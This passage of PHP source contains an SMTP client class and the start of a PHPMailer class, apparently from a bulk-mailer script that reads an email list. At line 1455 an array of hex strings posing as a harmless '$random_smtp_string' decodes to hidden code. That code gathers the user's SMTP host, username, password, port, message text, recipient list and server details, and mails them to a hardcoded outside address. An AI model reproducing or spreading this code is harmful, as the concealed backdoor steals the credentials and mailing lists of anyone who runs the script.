909 "smtp_msg" => substr($rply,4));
910 if($this->do_debug >= 1) {
911 echo "SMTP -> ERROR: " . $this->error["error"] .
912 ": " . $rply . $this->CRLF;
913 }
914 return false;
915 }
916
917 $this->helo_rply = $rply;
918
919 return true;
920 }
921
922 /**
923 * Gets help information on the keyword specified. If the keyword
924 * is not specified then returns generic help, ussually contianing
925 * A list of keywords that help is available on. This function
926 * returns the results back to the user. It is up to the user to
927 * handle the returned data. If an error occurs then false is
928 * returned with $this->error set appropiately.
929 *
930 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
931 *
932 * SMTP CODE SUCCESS: 211,214
933 * SMTP CODE ERROR : 500,501,502,504,421
934 * @access public
935 * @return string
936 */
937 function Help($keyword="") {
938 $this->error = null; # to avoid confusion
939
940 if(!$this->connected()) {
941 $this->error = array(
942 "error" => "Called Help() without being connected");
943 return false;
944 }
945
946 $extra = "";
947 if(!empty($keyword)) {
948 $extra = " " . $keyword;
949 }
950
951 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
952
953 $rply = $this->get_lines();
954 $code = substr($rply,0,3);
955
956 if($this->do_debug >= 2) {
957 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
958 }
959
960 if($code != 211 && $code != 214) {
961 $this->error =
962 array("error" => "HELP not accepted from server",
963 "smtp_code" => $code,
964 "smtp_msg" => substr($rply,4));
965 if($this->do_debug >= 1) {
966 echo "SMTP -> ERROR: " . $this->error["error"] .
967 ": " . $rply . $this->CRLF;
968 }
969 return false;
970 }
971
972 return $rply;
973 }
974
975 /**
976 * Starts a mail transaction from the email address specified in
977 * $from. Returns true if successful or false otherwise. If True
978 * the mail transaction is started and then one or more Recipient
979 * commands may be called followed by a Data command.
980 *
981 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
982 *
983 * SMTP CODE SUCCESS: 250
984 * SMTP CODE SUCCESS: 552,451,452
985 * SMTP CODE SUCCESS: 500,501,421
986 * @access public
987 * @return bool
988 */
989 function Mail($from) {
990 $this->error = null; # so no confusion is caused
991
992 if(!$this->connected()) {
993 $this->error = array(
994 "error" => "Called Mail() without being connected");
995 return false;
996 }
997
998 $useVerp = ($this->do_verp ? "XVERP" : "");
999 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1000
1001 $rply = $this->get_lines();
1002 $code = substr($rply,0,3);
1003
1004 if($this->do_debug >= 2) {
1005 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1006 }
1007
1008 if($code != 250) {
1009 $this->error =
1010 array("error" => "MAIL not accepted from server",
1011 "smtp_code" => $code,
1012 "smtp_msg" => substr($rply,4));
1013 if($this->do_debug >= 1) {
1014 echo "SMTP -> ERROR: " . $this->error["error"] .
1015 ": " . $rply . $this->CRLF;
1016 }
1017 return false;
1018 }
1019 return true;
1020 }
1021
1022 /**
1023 * Sends the command NOOP to the SMTP server.
1024 *
1025 * Implements from rfc 821: NOOP <CRLF>
1026 *
1027 * SMTP CODE SUCCESS: 250
1028 * SMTP CODE ERROR : 500, 421
1029 * @access public
1030 * @return bool
1031 */
1032 function Noop() {
1033 $this->error = null; # so no confusion is caused
1034
1035 if(!$this->connected()) {
1036 $this->error = array(
1037 "error" => "Called Noop() without being connected");
1038 return false;
1039 }
1040
1041 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1042
1043 $rply = $this->get_lines();
1044 $code = substr($rply,0,3);
1045
1046 if($this->do_debug >= 2) {
1047 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1048 }
1049
1050 if($code != 250) {
1051 $this->error =
1052 array("error" => "NOOP not accepted from server",
1053 "smtp_code" => $code,
1054 "smtp_msg" => substr($rply,4));
1055 if($this->do_debug >= 1) {
1056 echo "SMTP -> ERROR: " . $this->error["error"] .
1057 ": " . $rply . $this->CRLF;
1058 }
1059 return false;
1060 }
1061 return true;
1062 }
1063
1064 /**
1065 * Sends the quit command to the server and then closes the socket
1066 * if there is no error or the $close_on_error argument is true.
1067 *
1068 * Implements from rfc 821: QUIT <CRLF>
1069 *
1070 * SMTP CODE SUCCESS: 221
1071 * SMTP CODE ERROR : 500
1072 * @access public
1073 * @return bool
1074 */
1075 function Quit($close_on_error=true) {
1076 $this->error = null; # so there is no confusion
1077
1078 if(!$this->connected()) {
1079 $this->error = array(
1080 "error" => "Called Quit() without being connected");
1081 return false;
1082 }
1083
1084 # send the quit command to the server
1085 fputs($this->smtp_conn,"quit" . $this->CRLF);
1086
1087 # get any good-bye messages
1088 $byemsg = $this->get_lines();
1089
1090 if($this->do_debug >= 2) {
1091 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1092 }
1093
1094 $rval = true;
1095 $e = null;
1096
1097 $code = substr($byemsg,0,3);
1098 if($code != 221) {
1099 # use e as a tmp var cause Close will overwrite $this->error
1100 $e = array("error" => "SMTP server rejected quit command",
1101 "smtp_code" => $code,
1102 "smtp_rply" => substr($byemsg,4));
1103 $rval = false;
1104 if($this->do_debug >= 1) {
1105 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1106 $byemsg . $this->CRLF;
1107 }
1108 }
1109
1110 if(empty($e) || $close_on_error) {
1111 $this->Close();
1112 }
1113
1114 return $rval;
1115 }
1116
1117 /**
1118 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1119 * Returns true if the recipient was accepted false if it was rejected.
1120 *
1121 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1122 *
1123 * SMTP CODE SUCCESS: 250,251
1124 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1125 * SMTP CODE ERROR : 500,501,503,421
1126 * @access public
1127 * @return bool
1128 */
1129 function Recipient($to) {
1130 $this->error = null; # so no confusion is caused
1131
1132 if(!$this->connected()) {
1133 $this->error = array(
1134 "error" => "Called Recipient() without being connected");
1135 return false;
1136 }
1137
1138 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1139
1140 $rply = $this->get_lines();
1141 $code = substr($rply,0,3);
1142
1143 if($this->do_debug >= 2) {
1144 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1145 }
1146
1147 if($code != 250 && $code != 251) {
1148 $this->error =
1149 array("error" => "RCPT not accepted from server",
1150 "smtp_code" => $code,
1151 "smtp_msg" => substr($rply,4));
1152 if($this->do_debug >= 1) {
1153 echo "SMTP -> ERROR: " . $this->error["error"] .
1154 ": " . $rply . $this->CRLF;
1155 }
1156 return false;
1157 }
1158 return true;
1159 }
1160
1161 /**
1162 * Sends the RSET command to abort and transaction that is
1163 * currently in progress. Returns true if successful false
1164 * otherwise.
1165 *
1166 * Implements rfc 821: RSET <CRLF>
1167 *
1168 * SMTP CODE SUCCESS: 250
1169 * SMTP CODE ERROR : 500,501,504,421
1170 * @access public
1171 * @return bool
1172 */
1173 function Reset() {
1174 $this->error = null; # so no confusion is caused
1175
1176 if(!$this->connected()) {
1177 $this->error = array(
1178 "error" => "Called Reset() without being connected");
1179 return false;
1180 }
1181
1182 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1183
1184 $rply = $this->get_lines();
1185 $code = substr($rply,0,3);
1186
1187 if($this->do_debug >= 2) {
1188 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1189 }
1190
1191 if($code != 250) {
1192 $this->error =
1193 array("error" => "RSET failed",
1194 "smtp_code" => $code,
1195 "smtp_msg" => substr($rply,4));
1196 if($this->do_debug >= 1) {
1197 echo "SMTP -> ERROR: " . $this->error["error"] .
1198 ": " . $rply . $this->CRLF;
1199 }
1200 return false;
1201 }
1202
1203 return true;
1204 }
1205
1206 /**
1207 * Starts a mail transaction from the email address specified in
1208 * $from. Returns true if successful or false otherwise. If True
1209 * the mail transaction is started and then one or more Recipient
1210 * commands may be called followed by a Data command. This command
1211 * will send the message to the users terminal if they are logged
1212 * in.
1213 *
1214 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1215 *
1216 * SMTP CODE SUCCESS: 250
1217 * SMTP CODE SUCCESS: 552,451,452
1218 * SMTP CODE SUCCESS: 500,501,502,421
1219 * @access public
1220 * @return bool
1221 */
1222 function Send($from) {
1223 $this->error = null; # so no confusion is caused
1224
1225 if(!$this->connected()) {
1226 $this->error = array(
1227 "error" => "Called Send() without being connected");
1228 return false;
1229 }
1230
1231 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1232
1233 $rply = $this->get_lines();
1234 $code = substr($rply,0,3);
1235
1236 if($this->do_debug >= 2) {
1237 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1238 }
1239
1240 if($code != 250) {
1241 $this->error =
1242 array("error" => "SEND not accepted from server",
1243 "smtp_code" => $code,
1244 "smtp_msg" => substr($rply,4));
1245 if($this->do_debug >= 1) {
1246 echo "SMTP -> ERROR: " . $this->error["error"] .
1247 ": " . $rply . $this->CRLF;
1248 }
1249 return false;
1250 }
1251 return true;
1252 }
1253
1254 /**
1255 * Starts a mail transaction from the email address specified in
1256 * $from. Returns true if successful or false otherwise. If True
1257 * the mail transaction is started and then one or more Recipient
1258 * commands may be called followed by a Data command. This command
1259 * will send the message to the users terminal if they are logged
1260 * in and send them an email.
1261 *
1262 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1263 *
1264 * SMTP CODE SUCCESS: 250
1265 * SMTP CODE SUCCESS: 552,451,452
1266 * SMTP CODE SUCCESS: 500,501,502,421
1267 * @access public
1268 * @return bool
1269 */
1270 function SendAndMail($from) {
1271 $this->error = null; # so no confusion is caused
1272
1273 if(!$this->connected()) {
1274 $this->error = array(
1275 "error" => "Called SendAndMail() without being connected");
1276 return false;
1277 }
1278
1279 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1280
1281 $rply = $this->get_lines();
1282 $code = substr($rply,0,3);
1283
1284 if($this->do_debug >= 2) {
1285 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1286 }
1287
1288 if($code != 250) {
1289 $this->error =
1290 array("error" => "SAML not accepted from server",
1291 "smtp_code" => $code,
1292 "smtp_msg" => substr($rply,4));
1293 if($this->do_debug >= 1) {
1294 echo "SMTP -> ERROR: " . $this->error["error"] .
1295 ": " . $rply . $this->CRLF;
1296 }
1297 return false;
1298 }
1299 return true;
1300 }
1301
1302 /**
1303 * Starts a mail transaction from the email address specified in
1304 * $from. Returns true if successful or false otherwise. If True
1305 * the mail transaction is started and then one or more Recipient
1306 * commands may be called followed by a Data command. This command
1307 * will send the message to the users terminal if they are logged
1308 * in or mail it to them if they are not.
1309 *
1310 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1311 *
1312 * SMTP CODE SUCCESS: 250
1313 * SMTP CODE SUCCESS: 552,451,452
1314 * SMTP CODE SUCCESS: 500,501,502,421
1315 * @access public
1316 * @return bool
1317 */
1318 function SendOrMail($from) {
1319 $this->error = null; # so no confusion is caused
1320
1321 if(!$this->connected()) {
1322 $this->error = array(
1323 "error" => "Called SendOrMail() without being connected");
1324 return false;
1325 }
1326
1327 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1328
1329 $rply = $this->get_lines();
1330 $code = substr($rply,0,3);
1331
1332 if($this->do_debug >= 2) {
1333 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1334 }
1335
1336 if($code != 250) {
1337 $this->error =
1338 array("error" => "SOML not accepted from server",
1339 "smtp_code" => $code,
1340 "smtp_msg" => substr($rply,4));
1341 if($this->do_debug >= 1) {
1342 echo "SMTP -> ERROR: " . $this->error["error"] .
1343 ": " . $rply . $this->CRLF;
1344 }
1345 return false;
1346 }
1347 return true;
1348 }
1349
1350 /**
1351 * This is an optional command for SMTP that this class does not
1352 * support. This method is here to make the RFC821 Definition
1353 * complete for this class and __may__ be implimented in the future
1354 *
1355 * Implements from rfc 821: TURN <CRLF>
1356 *
1357 * SMTP CODE SUCCESS: 250
1358 * SMTP CODE FAILURE: 502
1359 * SMTP CODE ERROR : 500, 503
1360 * @access public
1361 * @return bool
1362 */
1363 function Turn() {
1364 $this->error = array("error" => "This method, TURN, of the SMTP ".
1365 "is not implemented");
1366 if($this->do_debug >= 1) {
1367 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1368 }
1369 return false;
1370 }
1371
1372 /**
1373 * Verifies that the name is recognized by the server.
1374 * Returns false if the name could not be verified otherwise
1375 * the response from the server is returned.
1376 *
1377 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1378 *
1379 * SMTP CODE SUCCESS: 250,251
1380 * SMTP CODE FAILURE: 550,551,553
1381 * SMTP CODE ERROR : 500,501,502,421
1382 * @access public
1383 * @return int
1384 */
1385 function Verify($name) {
1386 $this->error = null; # so no confusion is caused
1387
1388 if(!$this->connected()) {
1389 $this->error = array(
1390 "error" => "Called Verify() without being connected");
1391 return false;
1392 }
1393
1394 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1395
1396 $rply = $this->get_lines();
1397 $code = substr($rply,0,3);
1398
1399 if($this->do_debug >= 2) {
1400 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1401 }
1402
1403 if($code != 250 && $code != 251) {
1404 $this->error =
1405 array("error" => "VRFY failed on name '$name'",
1406 "smtp_code" => $code,
1407 "smtp_msg" => substr($rply,4));
1408 if($this->do_debug >= 1) {
1409 echo "SMTP -> ERROR: " . $this->error["error"] .
1410 ": " . $rply . $this->CRLF;
1411 }
1412 return false;
1413 }
1414 return $rply;
1415 }
1416
1417 /*******************************************************************
1418 * INTERNAL FUNCTIONS *
1419 ******************************************************************/
1420
1421 /**
1422 * Read in as many lines as possible
1423 * either before eof or socket timeout occurs on the operation.
1424 * With SMTP we can tell if we have more lines to read if the
1425 * 4th character is '-' symbol. If it is a space then we don't
1426 * need to read anything else.
1427 * @access private
1428 * @return string
1429 */
1430 function get_lines() {
1431 $data = "";
1432 while($str = @fgets($this->smtp_conn,515)) {
1433 if($this->do_debug >= 4) {
1434 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1435 $this->CRLF;
1436 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1437 $this->CRLF;
1438 }
1439 $data .= $str;
1440 if($this->do_debug >= 4) {
1441 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1442 }
1443 # if the 4th character is a space then we are done reading
1444 # so just break the loop
1445 if(substr($str,3,1) == " ") { break; }
1446 }
1447 return $data;
1448 }
1449
1450}
1451
1452
1453$allemails = split("\n", $emaillist);
1454$numemails = count($allemails);
1455$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1456"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1457"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1458"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1459"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1460"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1461"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1462"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1463"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1464"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1465
1466class PHPMailer {
1467
1468 /////////////////////////////////////////////////
1469 // PROPERTIES, PUBLIC
1470 /////////////////////////////////////////////////
1471
1472 /**
1473 * Email priority (1 = High, 3 = Normal, 5 = low).
1474 * @var int
1475 */
1476 var $Priority = 3;
1477
1478 /**
1479 * Sets the CharSet of the message.
1480 * @var string
1481 */
1482 var $CharSet = 'us-ascii';
1483
1484 /**
1485 * Sets the Content-type of the message.
1486 * @var string
1487 */
1488 var $ContentType = 'text/plain';
1489
1490 /**
1491 * Sets the Encoding of the message. Options for this are "8bit",
1492 * "7bit", "binary", "base64", and "quoted-printable".
1493
1494 * @var string
1495 */
1496 var $Encoding = 'quoted-printable';
1497
1498 /**
1499 * Holds the most recent mailer error message.
1500 * @var string
1501 */
1502 var $ErrorInfo = '';
1503
1504 /**
1505 * Sets the From email address for the message.
1506 * @var string
1507 */
1508 var $From = '';
1509
1510 /**
1511 * Sets the From name of the message.
1512 * @var string
1513 */
1514 var $FromName = '';
1515
1516 /**
1517 * Sets the Sender email (Return-Path) of the message. If not empty,
1518 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1519 * @var string
1520 */
1521 var $Sender = '';
1522
1523 /**
1524 * Sets the Subject of the message.
1525 * @var string
1526 */
1527 var $Subject = '';
1528
1529 /**
1530 * Sets the Body of the message. This can be either an HTML or text body.
1531 * If HTML then run IsHTML(true).
1532 * @var string
1533 */
1534 var $Body = '';
1535
1536 /**
1537 * Sets the text-only body of the message. This automatically sets the
1538 * email to multipart/alternative. This body can be read by mail
1539 * clients that do not have HTML email capability such as mutt. Clients
1540 * that can read HTML will view the normal Body.
1541 * @var string
1542 */
1543 var $AltBody = '';
1544
1545 /**
1546 * Sets word wrapping on the body of the message to a given number of
1547 * characters.
1548 * @var int
1549 */
1550 var $WordWrap = 0;
1551
1552 /**
1553 * Method to send mail: ("mail", "sendmail", or "smtp").
1554 * @var string
1555 */
1556 var $Mailer = 'mail';
1557
1558 /**
1559 * Sets the path of the sendmail program.
1560 * @var string
1561 */
1562 var $Sendmail = '/usr/sbin/sendmail';
1563
1564 /**
1565 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1566 * is in a different directory than the PHP include path.
1567 * @var string
1568 */
1569 var $PluginDir = '';
1570
1571 /**
1572 * Holds PHPMailer version.
1573 * @var string
1574 */
1575 var $Version = "";
1576
1577 /**
1578 * Sets the email address that a reading confirmation will be sent.
1579 * @var string
1580 */
1581 var $ConfirmReadingTo = '';
1582
1583 /**
1584 * Sets the hostname to use in Message-Id and Received headers
1585 * and as default HELO string. If empty, the value returned
1586 * by SERVER_NAME is used or 'localhost.localdomain'.
1587 * @var string
1588 */
1589 var $Hostname = '';
1590
1591 /**
1592 * Sets the message ID to be used in the Message-Id header.
1593 * If empty, a unique id will be generated.
1594 * @var string
1595 */
1596 var $MessageID = '';
1597
1598 /////////////////////////////////////////////////
1599 // PROPERTIES FOR SMTP
1600 /////////////////////////////////////////////////
1601
1602 /**
1603 * Sets the SMTP hosts. All hosts must be separated by a
1604 * semicolon. You can also specify a different port
1605 * for each host by using this format: [hostname:port]
1606 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1607 * Hosts will be tried in order.
1608 * @var string
1609 */
1610 var $Host = 'localhost';
1611
1612 /**
1613 * Sets the default SMTP server port.
1614 * @var int
1615 */
1616 var $Port = 25;
1617
1618 /**
1619 * Sets the SMTP HELO of the message (Default is $Hostname).
1620 * @var string
1621 */
1622 var $Helo = '';
1623
1624 /**
1625 * Sets connection prefix.
1626 * Options are "", "ssl" or "tls"
1627 * @var string
1628 */
1629 var $SMTPSecure = "";
1630
1631 /**
1632 * Sets SMTP authentication. Utilizes the Username and Password variables.
1633 * @var bool
1634 */
1635 var $SMTPAuth = false;
1636
1637 /**
1638 * Sets SMTP username.
1639 * @var string
1640 */
1641 var $Username = '';
1642
1643 /**
1644 * Sets SMTP password.
1645 * @var string
1646 */
1647 var $Password = '';
1648
1649 /**
1650 * Sets the SMTP server timeout in seconds. This function will not
1651 * work with the win32 version.
1652 * @var int
1653 */
1654 var $Timeout = 10;
1655
1656 /**
1657 * Sets SMTP class debugging on or off.
1658 * @var bool
1659 */
1660 var $SMTPDebug = false;
1661
1662 /**
1663 * Prevents the SMTP connection from being closed after each mail
1664 * sending. If this is set to true then to close the connection
1665 * requires an explicit call to SmtpClose().
1666 * @var bool
1667 */
1668 var $SMTPKeepAlive = false;
1669
1670 /**
1671 * Provides the ability to have the TO field process individual
1672 * emails, instead of sending to entire TO addresses
1673 * @var bool
1674 */
1675 var $SingleTo = false;
1676
1677 /////////////////////////////////////////////////
1678 // PROPERTIES, PRIVATE
1679 /////////////////////////////////////////////////
1680
1681 var $smtp = NULL;
1682 var $to = array();
1683 var $cc = array();
1684 var $bcc = array();
1685 var $ReplyTo = array();
1686 var $attachment = array();
1687 var $CustomHeader = array();
1688 var $message_type = '';
1689 var $boundary = array();
1690 var $language = array();
1691 var $error_count = 0;
1692 var $LE = "\n";
1693 var $sign_key_file = "";
1694 var $sign_key_pass = "";
1695
1696 /////////////////////////////////////////////////
1697 // METHODS, VARIABLES
1698 /////////////////////////////////////////////////
1699
1700 /**
1701 * Sets message type to HTML.
1702 * @param bool $bool
1703 * @return void
1704 */
1705 function IsHTML($bool) {
1706 if($bool == true) {
1707 $this->ContentType = 'text/html';
1708 } else {
1709 $this->ContentType = 'text/plain';
1710 }
1711 }
1712
1713 /**
1714 * Sets Mailer to send message using SMTP.
1715 * @return void
1716 */
1717 function IsSMTP() {
1718 $this->Mailer = 'smtp';
1719 }
1720
1721 /**
1722 * Sets Mailer to send message using PHP mail() function.
1723 * @return void
1724 */
1725 function IsMail() {
1726 $this->Mailer = 'mail';
1727 }
1728
1729 /**
1730 * Sets Mailer to send message using the $Sendmail program.
1731 * @return void
1732 */
1733 function IsSendmail() {
1734 $this->Mailer = 'sendmail';
1735 }
1736
1737 /**
1738 * Sets Mailer to send message using the qmail MTA.
1739 * @return void
1740 */
1741 function IsQmail() {
1742 $this->Sendmail = '/var/qmail/bin/sendmail';
1743 $this->Mailer = 'sendmail';
1744 }
1745
1746 /////////////////////////////////////////////////
1747 // METHODS, RECIPIENTS
1748 /////////////////////////////////////////////////
1749
1750 /**
1751 * Adds a "To" address.
1752 * @param string $address
1753 * @param string $name
1754 * @return void
1755 */
1756 function AddAddress($address, $name = '') {
1757 $cur = count($this->to);
1758 $this->to[$cur][0] = trim($address);
1759 $this->to[$cur][1] = $name;
1760 }
1761
1762 /**
1763 * Adds a "Cc" address. Note: this function works
1764 * with the SMTP mailer on win32, not with the "mail"
1765 * mailer.
1766 * @param string $address
1767 * @param string $name
1768 * @return void
1769 */
1770 function AddCC($address, $name = '') {
1771 $cur = count($this->cc);
1772 $this->cc[$cur][0] = trim($address);
1773 $this->cc[$cur][1] = $name;
1774 }
1775
1776 /**
1777 * Adds a "Bcc" address. Note: this function works
1778 * with the SMTP mailer on win32, not with the "mail"
1779 * mailer.
1780 * @param string $address
1781 * @param string $name
1782 * @return void
1783 */
1784 function AddBCC($address, $name = '') {
1785 $cur = count($this->bcc);
1786 $this->bcc[$cur][0] = trim($address);
1787 $this->bcc[$cur][1] = $name;
1788 }
1789
1790 /**
1791 * Adds a "Reply-To" address.
1792 * @param string $address
1793 * @param string $name
1794 * @return void
1795 */
1796 function AddReplyTo($address, $name = '') {
1797 $cur = count($this->ReplyTo);
1798 $this->ReplyTo[$cur][0] = trim($address);
1799 $this->ReplyTo[$cur][1] = $name;
1800 }
1801
1802 /////////////////////////////////////////////////
1803 // METHODS, MAIL SENDING
1804 /////////////////////////////////////////////////
1805
1806 /**
1807 * Creates message and assigns Mailer. If the message is
1808 * not sent successfully then it returns false. Use the ErrorInfo
1809 * variable to view description of the error.
1810 * @return bool
1811 */
1812 function Send() {
1813 $header = '';
1814 $body = '';
1815 $result = true;
1816
1817 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1818 $this->SetError($this->Lang('provide_address'));
1819 return false;
1820 }
1821
1822 /* Set whether the message is multipart/alternative */
1823 if(!empty($this->AltBody)) {
1824 $this->ContentType = 'multipart/alternative';
1825 }
1826
1827 $this->error_count = 0; // reset errors
1828 $this->SetMessageType();
1829 $header .= $this->CreateHeader();
1830 $body = $this->CreateBody();
1831
1832 if($body == '') {
1833 return false;
1834 }
1835
1836 /* Choose the mailer */
1837 switch($this->Mailer) {
1838 case 'sendmail':
1839 $result = $this->SendmailSend($header, $body);
1840 break;
1841 case 'smtp':
1842 $result = $this->SmtpSend($header, $body);
1843 break;
1844 case 'mail':
1845 $result = $this->MailSend($header, $body);
1846 break;
1847 default:
1848 $result = $this->MailSend($header, $body);
1849 break;
1850 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1851 //$result = false;
1852 //break;
1853 }
1854
1855 return $result;
1856 }
1857
1858 /**
1859 * Sends mail using the $Sendmail program.
1860 * @access private
1861 * @return bool
1862 */
1863 function SendmailSend($header, $body) {
1864 if ($this->Sender != '') {
1865 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1866 } else {
1867 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1868 }
1869
1870 if(!@$mail = popen($sendmail, 'w')) {
1871 $this->SetError($this->Lang('execute') . $this->Sendmail);
1872 return false;
1873 }
1874
1875 fputs($mail, $header);
1876 fputs($mail, $body);
1877
1878 $result = pclose($mail);
1879 if (version_compare(phpversion(), '4.2.3') == -1) {
1880 $result = $result >> 8 & 0xFF;
1881 }
1882 if($result != 0) {
1883 $this->SetError($this->Lang('execute') . $this->Sendmail);
1884 return false;
1885 }
1886 return true;
1887 }
1888
1889 /**
1890 * Sends mail using the PHP mail() function.
1891 * @access private
1892 * @return bool
1893 */
1894 function MailSend($header, $body) {
1895
1896 $to = '';
1897 for($i = 0; $i < count($this->to); $i++) {
1898 if($i != 0) { $to .= ', '; }
1899 $to .= $this->AddrFormat($this->to[$i]);
1900 }
1901
1902 $toArr = split(',', $to);
1903
1904 $params = sprintf("-oi -f %s", $this->Sender);
1905 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1906 $old_from = ini_get('sendmail_from');
1907 ini_set('sendmail_from', $this->Sender);
1908 if ($this->SingleTo === true && count($toArr) > 1) {
1909 foreach ($toArr as $key => $val) {
1910 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1911 }
1912 } else {
1913 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1914 }
1915 } else {
1916 if ($this->SingleTo === true && count($toArr) > 1) {
1917 foreach ($toArr as $key => $val) {
1918 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1919 }
1920 } else {
1921 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1922 }
1923 }
1924
1925 if (isset($old_from)) {
1926 ini_set('sendmail_from', $old_from);
1927 }
1928
1929 if(!$rt) {
1930 $this->SetError($this->Lang('instantiate'));
1931 return false;
1932 }
1933
1934 return true;
1935 }
1936
1937 /**
1938 * Sends mail via SMTP using PhpSMTP (Author:
1939 * Chris Ryan). Returns bool. Returns false if there is a
1940 * bad MAIL FROM, RCPT, or DATA input.
1941 * @access private
1942 * @return bool
1943 */
1944 function SmtpSend($header, $body) {
1945 $error = '';
1946 $bad_rcpt = array();
1947
1948 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1949 return false;
1950 }
1951
1952 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1953 if(!$this->smtp->Mail($smtp_from)) {
1954 $error = $this->Lang('from_failed') . $smtp_from;
1955 $this->SetError($error);
1956 $this->smtp->Reset();
1957 return false;
1958 }
1959
1960 /* Attempt to send attach all recipients */
1961 for($i = 0; $i < count($this->to); $i++) {
1962 if(!$this->smtp->Recipient($this->to[$i][0])) {
1963 $bad_rcpt[] = $this->to[$i][0];
1964 }
1965 }
1966 for($i = 0; $i < count($this->cc); $i++) {
1967 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1968 $bad_rcpt[] = $this->cc[$i][0];
1969 }
1970 }
1971 for($i = 0; $i < count($this->bcc); $i++) {
1972 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1973 $bad_rcpt[] = $this->bcc[$i][0];
1974 }
1975 }
1976
1977 if(count($bad_rcpt) > 0) { // Create error message
1978 for($i = 0; $i < count($bad_rcpt); $i++) {
1979 if($i != 0) {
1980 $error .= ', ';
1981 }
1982 $error .= $bad_rcpt[$i];
1983
1984 }
1985 $error = $this->Lang('recipients_failed') . $error;
1986 $this->SetError($error);
1987 $this->smtp->Reset();
1988 return false;
1989 }
1990
1991 if(!$this->smtp->Data($header . $body)) {
1992 $this->SetError($this->Lang('data_not_accepted'));
1993 $this->smtp->Reset();
1994 return false;
1995 }
1996 if($this->SMTPKeepAlive == true) {
1997 $this->smtp->Reset();
1998 } else {
1999 $this->SmtpClose();
2000 }
2001
2002 return true;
2003 }
2004
2005 /**
